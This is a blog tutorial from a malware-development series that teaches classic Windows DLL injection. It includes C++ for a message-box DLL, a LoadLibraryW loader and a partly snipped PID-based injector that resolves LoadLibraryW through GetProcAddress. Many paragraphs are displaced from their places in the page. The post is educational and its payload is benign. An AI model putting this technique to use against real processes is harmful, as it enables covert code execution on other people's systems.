Crow's Nest
My Socials
  • 🧭GENERAL
    • About Me
    • Most Recent
  • ❤️Support
    • Support the Channel
  • 🦠Malware
    • Development
      • Getting Started With Malware Development
      • Process Injection
        • Shellcode Injection
        • DLL Injection
        • NTAPI Injection
          • Complete NTAPI Implementation
        • System Calls
          • Direct System Calls
          • Indirect System Calls
  • ☣️Binary Exploitation
    • Stack
      • Explaining a Buffer Overflow
    • Heap
      • The Heap
      • House of Force I
        • House of Force II
Powered by GitBook
On this page
  • Foreword
  • Dynamic Link Libraries
  • Creating Our First DLL
  • Loading Our DLL
  • Creating the Program
  • Performing the Injection
  • Common Pitfalls
  • Viewing the Memory
  • References

Was this helpful?

  1. Malware
  2. Development
  3. Process Injection

DLL Injection

June 20th, 2023

PreviousShellcode InjectionNextNTAPI Injection

Last updated 1 year ago

Was this helpful?

Table of Contents

Foreword

Welcome once again to the next step up from our simple process injection! I've gone ahead and rewritten the code from the original blog post because I've learned a lot since then. I'd also like it to improve the code shown in the video; which if you haven't seen, goes into depth about , and this technique. You can find it below:

Once again, I'm just a nerd normal dude trying his best to learn. I'm not claiming to be some sort of expert at programming or developing malware. Please excuse the outlast levels of clinically insane coding practices I might subject your eyes to. I'm constantly learning and trying to improve, and as such, my coding practices, as a function of time, will get better and better the longer I do this. Hopefully, the blog and the GitHub repository will reflect this.

Dynamic Link Libraries

DLLs are crucial because they let programmers modularize their work and share similar code among several apps. This can lower the size and complexity of the codebase while also saving time and effort when creating new software. Pretty much any process that you open is going to have some DLL that it uses/needs in order to work properly. Let's take notepad.exe for example. Seemingly an incredibly simple program, right?

The terms "DLL", "Library", and "Modules" are used interchangeably in this blog post and in many others.

Even for a seemingly simple program like Notepad, the number of modules it loads is a considerable amount. By the way, the tool I'm using to view this is Process Hacker 2:

Creating Our First DLL

If you recall, when we first got started with malware development, more specifically, the prerequisites blog and video located below:

We had created a message box program that when run, would spawn a humble message box like the following:

Now, what if we wanted to create a DLL that did the exact same thing as this? More specifically, could we create a DLL that just creates a message box as a quick little DLL "hello world"? Of course, we can! It's not that difficult either! There are some slight differences but, it's not too bad at all. Firstly, we need to talk about the entry point of a DLL (DllMain).

Just as our standard executable applications have a main entry point i.e., . So too, do DLLs. The DllMain for all intents and purposes is a standard program's "main" entry point equivalent. We need to set this up properly otherwise our DLL isn't going to work. Before making our DLL, let's quickly start dissecting how a DLL works when a process loads one. The documentation itself provides a really great overview of what happens:

Right-click on the project, and head to Properties. Once you get to the new window, you want to change the following settings:

We need to set our Configuration Type to Dynamic Library (.dll) since we're trying to create a DLL. While we're here, we might as well change the C++ language standard to C++20 although this is completely optional and won't matter for our DLL. With that done, let's add a source file and make sure to have the file extension set to .dll. Once we've added our source file, we can add in the Windows header and start ':

We create a BOOL type function - but you might notice the presence of the WINAPI macro. What is that, you might ask? If we hover over the WINAPI macro, we can see that it just expands out to a __stdcall:

That's not of much help if you don't already know what "__stdcall" is in the first place, so let's quickly go over what that is just so we're all on the same page.

As we can see, the __stdcall calling convention is used to call Win32 API functions. If we want to create/use a function that uses this calling convention, it'll require a function prototype for that aforementioned function. Another cool little thing about this calling convention is that parameters are pushed on the stack in reverse order (right to left):

You can read more about this and the other keywords down below:

So, if you see certain functions during your time researching and they're defined like the following:

// Example of the __stdcall keyword
#define WINAPI __stdcall
// Example of the __stdcall keyword on function pointer
typedef BOOL (__stdcall *funcname_ptr)(void* arg1, const char* arg2, DWORD flags, ...);

You can lean back, flick your collar, and start smilin' smugly because you're now aware of what the __stdcall calling convention is, its little quirks, and how different macros like "WINAPI" are defined using them. Let's continue developing our DLL.

#include <Windows.h>

/* you can use the WINAPI macro if you want but since we learned about __stdcall, why not use it :> */
BOOL __stdcall DllMain(HINSTANCE hModule, ...) {

    return TRUE;

}
FARPROC GetProcAddress(
  [in] HMODULE hModule,
  [in] LPCSTR  lpProcName
);

Another thing to note is that the HINSTANCE of a DLL is the same as the HMODULE of the DLL, so hModule in this case, can be used in calls to functions that require a handle to a module. Like we just talked about with GetProcAddress.

The next parameter, fdwReason, is the "reason code that indicates why the DLL entry-point function is being called." Basically, it's a variable that tells us what's happened with the DLL, things like if it got loaded (attached) in a process/thread, or unloaded (detached) from the process/thread; and based on whatever happens, our DLL can do specific things in correspondence to the fdwReason. It can be one of the following values, as shown in the documentation:

So, with our code updated, we're currently here:

#include <Windows.h>

BOOL __stdcall DllMain(HINSTANCE hModule, DWORD dwReason, ...) {

    return TRUE;

}

The last parameter, lpvReserved is just a reserved parameter that we're required to supply to this function. Sometimes you might see some reserved arguments that need to be supplied to functions, that's perfectly normal and it's just something we have to include. If you're curious as to what they actually do and what it means, you can check the documentation:

That brings us to here:

#include <Windows.h>

BOOL __stdcall DllMain(HINSTANCE hModule, DWORD dwReason, LPVOID lpvReserved) {

    return TRUE;

}

With the DllMain entry-point function created, we can start getting to the meat and bones of the DLL; the switch cases. Our cases are going to depend entirely on the dwReason parameter.

The documentation includes all of the reason values, i.e., DLL_PROCESS_ATTACH, DLL_THREAD_ATTACH, DLL_THREAD_DETACH, DLL_PROCESS_DETACH, but we don't need to include all of these. We can just include what we're actually interested in.

We really only care about the DLL_PROCESS_ATTACH reason, however, you can (and should) experiment with the other cases as well; maybe even use them in conjunction with each other. If we look at the documentation for the DLL_PROCESS_ATTACH value once again, we can see:

#include <Windows.h>

BOOL __stdcall DllMain(HINSTANCE hModule, DWORD dwReason, LPVOID lpvReserved) {

    switch (dwReason) {

    case DLL_PROCESS_ATTACH:
        MessageBoxW(NULL, L"WHO GOES THERE", L"KAW KAW KAW", MB_ICONEXCLAMATION);
        break;
    }

    return TRUE;

}
PS C:\Users\crow> rundll32 your.dll,yourFunction 

In this case, we want to run our DllMain function, so let's try that and see if we get a message box.

Loading Our DLL

We see that this function will load a module into the address space of the calling process, and we know what happens when a DLL gets loaded by a process, remember? The entry-point function of the said DLL will automatically get run.

LoadLibrary is also of the HMODULE type because it will return a handle to the module (if it's able to get one). It takes in one (1) argument - lpLibFileName, that being the name of the library itself.

The lpLibFileName doesn't just have to be a DLL, you can actually load an executable module (an.exe file) as well. However, if you don't supply an extension for this argument, it'll default to a .dll extension.

For this argument, we will submit the entire path of our DLL. However, as seen from the documentation, there are other searching methods (and considerations) you can take note of, like specifying a relative path:

Also, consider the little note about using backslashes (\) when specifying a path and not forward slashes (/). With this in mind, let's make another program that'll load our DLL, and once it does, it should run our message box.

#include <Windows.h>
#include <stdio.h>

#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[i] " msg "\n", ##__VA_ARGS__)

int main(void) {

	HMODULE hCrowDLL = NULL;
	wchar_t dllPath[MAX_PATH] = L"C:\\path\\to\\crow.dll";

	info("trying to get a handle to %S", dllPath);
	
	hCrowDLL = LoadLibraryW(dllPath);

	if (hCrowDLL == NULL) {
		warn("couldn't get a handle to crow.dll, error: 0x%lx", GetLastError());
		return EXIT_FAILURE;
	}

	okay("got a handle to crow.dll!");
	info("---0x%p", hCrowDLL);

	info("freeing the module");
	FreeLibrary(hCrowDLL);
	okay("finished, press <enter> to exit");
	getchar();

	return EXIT_SUCCESS;

}

This program starts off by defining (and initializing) a variable of the HMODULE type called hCrowDLL. This will hold the base address of our DLL and it's the handle we get on our module. Then, we try to load the library using the LoadLibraryW function into the address space of the space.

If we compile this program and run it, we can see that the program will load our DLL with LoadLibrary and a message box will pop up, as planned!

It works! The only thing that kind of sucks is that our output will only be shown after we press okay, which is fine, this won't be the case when we inject it. After pressing okay, we can see the following output:

Awesome! We now have a much deeper understanding of how all of this loading stuff works, which is going to equip us adequately for the next section. Speaking of which, let's finally begin making our injection program.

Creating the Program

#include <Windows.h>
#include <stdio.h>

#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[i] " msg "\n", ##__VA_ARGS__)

int main(int argc, char* argv[]) {

	/*------[SETUP SOME VARIABLES]------*/
	DWORD       TID               = NULL;
	DWORD       PID               = NULL;
	LPVOID      rBuffer           = NULL;
	HANDLE      hProcess          = NULL;
	HANDLE      hThread           = NULL;
	HMODULE     hKernel32         = NULL;
	wchar_t     dllPath[MAX_PATH] = L"C:\\path\\to\\crow.dll";
	size_t      pathSize          = sizeof(dllPath);
	size_t      bytesWritten      = 0;

	/*------[GET HANDLE TO PROCESS]------*/
	if (argc < 2) {
		warn("usage: %s <PID>", argv[0]);
		return EXIT_FAILURE;
	}

	PID = atoi(argv[1]);
	info("trying to get a handle to the process (%ld)", PID);
	hProcess = OpenProcess((PROCESS_VM_OPERATION | PROCESS_VM_WRITE), FALSE, PID);

	if (hProcess == NULL) {
		warn("unable to get a handle to the process (%ld), error: 0x%lx", PID, GetLastError());
		return EXIT_FAILURE;
	}

	okay("got a handle to the process!");
	info("\\___[ hProcess\n\t\\_0x%p]\n", hProcess);	

	/*------[GET HANDLE TO KERNEL32]------*/
(snip ...)
	
/* thank you @5pider for introducing me to this nifty lil cleanup! ily <3  */
CLEANUP:

	if (hThread) {
		info("closing handle to thread");
		CloseHandle(hThread);
	}
	
	if (hProcess) {
		info("closing handle to process");
		CloseHandle(hProcess);
	}
	
	okay("finished with house keeping, see you next time!");
	return EXIT_SUCCESS;

}

You might also be better off using strlen or something to get the size of the string as well as adding + 1 to account for the null terminator. However, for this example, we don't have to because VirtualAlloc(Ex)creates and initializes a zeroed-out memory page, so we're good for now.

We can see just how many functions there are in this DLL. But, that's not all. If we look for some functions that we've already been using, like CreateRemoteThread, OpenProcess, VirtualAlloc, etc., we can see that all of them are in this library:

The function we're interested in, for the purposes of our DLL Injection, is the LoadLibrary function. As expected, it's here as well:

(snip...)

	/*------[GET HANDLE TO KERNEL32]------*/
	info("getting handle to Kernel32.dll");
	hKernel32 = GetModuleHandleW(...)
	
(snip...)

If we take a look at the syntax for the GetModuleHandleW function, we'll see that it returns a handle to our specified module. It takes in one (1) argument, lpModuleName, which is just the name of the module we want to get a handle on:

Let's supply in the name of the module, Kernel32 to this function, and then check to see if a valid handle to the module has been returned or not. If it has, we'll print out the value of the handle (which is just going to be the base address of the Kernel32 DLL).

(snip...)

	/*------[GET HANDLE TO KERNEL32]------*/
	info("getting handle to Kernel32.dll");
	hKernel32 = GetModuleHandleW(L"kernel32");

	if (hKernel32 == NULL) {
		warn("failed to get a handle to Kernel32.dll, error: 0x%lx", GetLastError());
		return EXIT_FAILURE;
	}

	okay("got a handle to Kernel32.dll");
	info("\\___[ hKernel32\n\t\\_0x%p]\n", hKernel32);

(snip...)

This function will get the address of an exported function (also known as a procedure) or variable from the specified DLL. The first parameter, hModule, is the handle to the module of the DLL that we'd like to get the function address from, in this case, it's the handle to Kernel32 which we've got tucked away within our hKernel32 variable:

(snip ...)

	/*------[GET ADDR OF LOADLIBRARY]------*/
	info("getting address of LoadLibraryW()");
	GetProcAddress(hKernel32, ...);
	
(snip ...)

The next parameter is the procedure name that we wish to get the address of, we want LoadLibraryW from Kernel32, so, let's supply that.

(snip ...)

	/*------[GET ADDR OF LOADLIBRARY]------*/
	info("getting address of LoadLibraryW()");
	GetProcAddress(hKernel32, L"LoadLibraryW");
	
(snip ...)
(snip ...)

	/*------[GET ADDR OF LOADLIBRARY]------*/
	info("getting address of LoadLibraryW()");
	LPTHREAD_START_ROUTINE kawLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryW");
	okay("got address of LoadLibraryW()");
	info("\\___[ LoadLibraryW\n\t\\_0x%p]\n", kawLoadLibrary);

(snip ...)

I won't cover it much more here since you should know this from the previous blog post. If you don't, you can head over here to read more about it:

Performing the Injection

After finally compiling our program, we can now test it out by injecting it against a target process.

Awesome! We've finally injected a DLL into our target process. Let's cover some common pitfalls and caveats to injecting our DLLs in this way.

Common Pitfalls

One thing you'll notice is that if you try to inject the same process multiple times, your DLL won't be loaded again after the first time. An incredible blog post by Brad Antoniewicz mentions this:

Viewing the Memory

Let's appreciate all the 1337pwning we've been doing so far. However, it would also be nice to look at what's happening in the process memory when we exploit our target process. We'll see a lot of cool information here. After injecting into our target mspaint process, we can view all the modules that the process has loaded; like we did with the Notepad example a while ago. In the Modules tab:

Furthermore, if we look at the Memory tab, we can see all the references to our DLL here:

Another thing we can do is click on the Strings tab and filter (contains (case-insensitive)), and look for the lpText and lpThread parameters of our MessageBoxW function. What we'll find, is really cool:

If we go back to the Module tab, and double-click on our DLL, we can see some telling information about the library itself:

From here, we can see some things like the fact that it's UNVERIFIED, how it has High entropy, as well as some other information about the different sections of this DLL. In the Imports section of this new window, we can also see the presence of a bunch of functions, including our MessageBoxW "payload":

References

I hope you enjoy the blog post, and the video - I also apologize for how long it took to redo this blog post. Life's crazy sometimes. Allow me to also copy and paste my initial disclaimer from my .

Before we even begin to inject a Dynamic Link Library (DLL), we need to do our due diligence and understand what these things even are. If you're particularly advanced, click to skip to the next section. A DLL is a collection of data or executable functions that a Windows application can use. DLLs enable several apps to share the same code rather than having each application contain all of the necessary code, one at a time.

With a short little synopsis of DLLs out of the way, let's make our own DLL! If you want to read more about DLLs, what they are, how they work, and why they're important, check out the links below (they'll also be in the "" section):

Whenever a process loads a DLL using the and freed using the function, the entry-point function for a DLL is called; in that entry-point function, there resides a switch-case which will be the "logic" of our DLL. So, if we were to coerce our target process to load our DLL, our code would be executed automatically! Let's start developing our message box DLL. Firstly, if you're doing this in Visual Studio, there's a bit of setup required to compile our DLL properly. You can also very easily compile it with a compiler of your choice if you don't want to use Visual Studio/MSVC.

The first parameter of this function; "hinstDLL" is where we define a handle for the DLL module that we're about to create. The value of this is the of the DLL. You might be asking why we'd need to get a handle on modules in the first place. Well, let's take a look at an example that uses a function we'll be using later on, but momentarily shown here; albeit, a bit prematurely:

Ah, yes. The ever-so-popular, function. We'll touch upon it more when we get to the "" section, for now, all you need to know is that this function will retrieve the address of a function within a module. In order for GetProcAddress to do that, in order for it to seek the truths of the universe within a library, module, dll, whatever, it needs a handle to that aforementioned library, module, dll, or whatever. So, for situations like this, are necessary.

We can see that this value, DLL_PROCESS_ATTACH, will be the value of our dwReason if our DLL gets loaded into the of the process. So, in the case statement for this value, let's put in our "malicious" code, the incredibly dangerous function that we're all familiar with by now:

That's pretty much it! Again, you're encouraged to interact with the other reason codes, but for our purposes, this is enough for now. After compiling, we can test our DLL using a program like . The syntax of the command is:

Nice, it's working perfectly! Note that after you press okay, rundll32 might give you an error, it's perfectly fine, you don't have to worry about it. If this is your first time making a DLL, congratulations! You can find the source code for the DLL we've created down below or in the for this blog post:

We've created our DLL. Let's now discuss the process of loading it from another program. I think it's necessary to figure this out because otherwise, we're just making malware without understanding what's going on in the background. If we recall, there were some mentions of the function. This will be the function we use to... well, load our library. If we look at the documentation of this function, we'll see the following:

The print macros weren't discussed in the videos or the first edition of this article - but I use them all the time now (thanks @for introducing me to them), and want to introduce you guys to them because they'll be present in all of my future code and they save us a lot of time. The macro, when viewed closely, should be pretty clear to understand, but the could lead to some confusion. If you're confused about the part of the variadic arguments, check out the link .

Since we know that LoadLibrary returns NULL if it errors out, we can make a quick little check to see if we were able to get a handle on the module or not. If not, we'll print out the given to us by function. After verifying that we have a valid handle on our module, we can print the address of the module. Finally, we can unload the DLL using the function:

A lot of the code, aside from the newly covered macros, will be extremely identical to the code from the . I'll program this out, and then we'll cover what's different about this when we get there.

So, we do our usual thing, we declare and initialize some variables that we'll be using in our program. We check to see if the program's been supplied with a PID, and if so, we'll try to open a handle to the process for which the PID belongs to. After a valid handle has been obtained, we'll print it out. A new thing you might see, from my previous code, is the edition of this CLEANUP label. In the eternal quest to make my code better and better, I was made aware of "goto" for error handling and simple cleanup by my incredible friend @. It'll just make our code easier to manage and provide better readability; especially because we're error-handling pretty much every function that we use. Thanks, homie

Currently, we're at the "get a handle to Kernel32" portion of the program. We've already experimented with getting handles to modules in "", it's the same idea here except the DLL we're trying to get a handle on is Kernel32.dll. Another difference is that we're going to be using the function, which we'll cover in a moment. First, let's talk about why we chose Kernel32.dll? Why this DLL specifically? Well, if we take a look at an incredible resource like the one below:

If you're actually curious as to what Kernel32 itself is, not just its contents, then keep reading: Kernel32 exposes most of the Win32 APIs, like memory management, input/output (I/O) operations, process and thread creation, synchronization functions, etc., to applications. It's an extremely important and core library that many Windows applications use. As we'll see when we touch upon future posts regarding NTAPI/NTDLL, when you call a function like OpenProcess from Kernel32.dll, it will call the corresponding native API function (in this case, NtOpenProcess) from NTDLL.dll. You can read more about this and .

So, if we're able to get a handle to Kernel32, we can then use a function like , to get the address of the LoadLibrary function within Kernel32 so that we can use it for our exploit. Let's continue developing:

Nice, if all goes going to plan, we can extract out addresses of functions from within this library! How could we do that, you might ask? With the use of the aptly-named function.

Now, this function still isn't complete. We've touched upon this in the shellcode injection blog, specifically, in the "" section but, we need to typecast this to LPTHREAD_START_ROUTINE because we want the address of the function returned to be the starting point for the thread that we're going to eventually create. So, let's set that up right now:

The rest of the code is going to be pretty much the same as the one from the blog post above. You can find the finished code embedded below or in the for this entire series:

Incredible! It loads our DLL and we can see our payload gets executed! Another thing you'll note is that after we press on OK, the thread finishes and our program exits, all thanks to the function!

"... Another slightly annoying caveat is that if a DLL has already been loaded once with LoadLibraryA(), it will not execute it. You can work around this issue but it's more code." - Brad Antoniewicz,

shellcode injection blog post
here
References
LoadLibrary
FreeLibrary
base address
GetProcAddress
Creating the Program
MessageBox
rundll32
GitHub repository
LoadLibrary
bakki
here
system error codes
GetLastError
FreeLibrary
shellcode injection blog
❤️
5pider
Loading Our DLL
GetModuleHandle
here
here
GetProcAddress
GetProcAddress
Creating a Thread
GitHub repository
WaitForSingleObject
Open Security Research Blog
Foreword
Dynamic Link Libraries
Creating Our First DLL
Loading Our DLL
Creating the Program
Performing the Injection
Common Pitfalls
Viewing the Memory
References
shellcode injection
Malware Development II: Process Injection
🦠
Process Hacker 2 Download
"What is a DLL" from
What are DLLs, and how do they work
Fundamentals
__stdcall from MSDN
Read more here
Kernel32 functions, from
Shellcode Injection, covers the LPTHREAD_START_ROUTINE
Windows DLL Injection Basics
Downloads - Process Hacker
Dynamic link library (DLL) - Windows ClientMicrosoftLearn
MSDN
Dynamic link library (DLL) - Windows ClientMicrosoftLearn
What exactly are DLL files, and how do they work?Stack Overflow
What exactly are DLL files, and how do they work?Stack Overflow
Getting Started With Malware DevelopmentCrow's Nest
__stdcallMicrosoftLearn
Argument Passing and Naming ConventionsMicrosoftLearn
KERNEL32 Functions
Geoff Chappell
Shellcode InjectionCrow's Nest
DLL InjectionRed Teaming Experiments
Classic DLL injection into the process. Simple C++ malware.cocomelonc
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Page cover image
Logo
Logo
Logo
Logo
293B
crow.cpp
Source code for DLL
4KB
dllinjection.cpp
Finished source code for DLL injection
Some of the modules loaded by notepad
Message box program
Overview of the DLL loading process
Project Properties
Configuration Type and C++ Language Standard
Inital setup
WINAPI expands to __stdcall
__stdcall parameter passing
Reason codes for DLLs
lpvReserved documentation
DLL_PROCESS_ATTACH reason
It's working!
LoadLibrary summary
LoadLibrary syntax
Automatically runs our DLL
Specifying the module
FreeLibrary summary
FreeLibrary syntax
Message box loads!
Expected output
Nearly 2,000 Kernel32 functions
Common functions present in Kernel32
LoadLibrary is here, boys!
DLL injected into target process (mspaint)
Finished executing!
crow.dll loaded into process modules
crow.dll in memory tab
Contents of our message box arguments in process memory
General info about our DLL
MessageBoxW import
DllMain from
__stdcall summary from
GetModuleHandle syntax from
GetProcAddress syntax from
MSDN
MSDN
MSDN
MSDN
Logo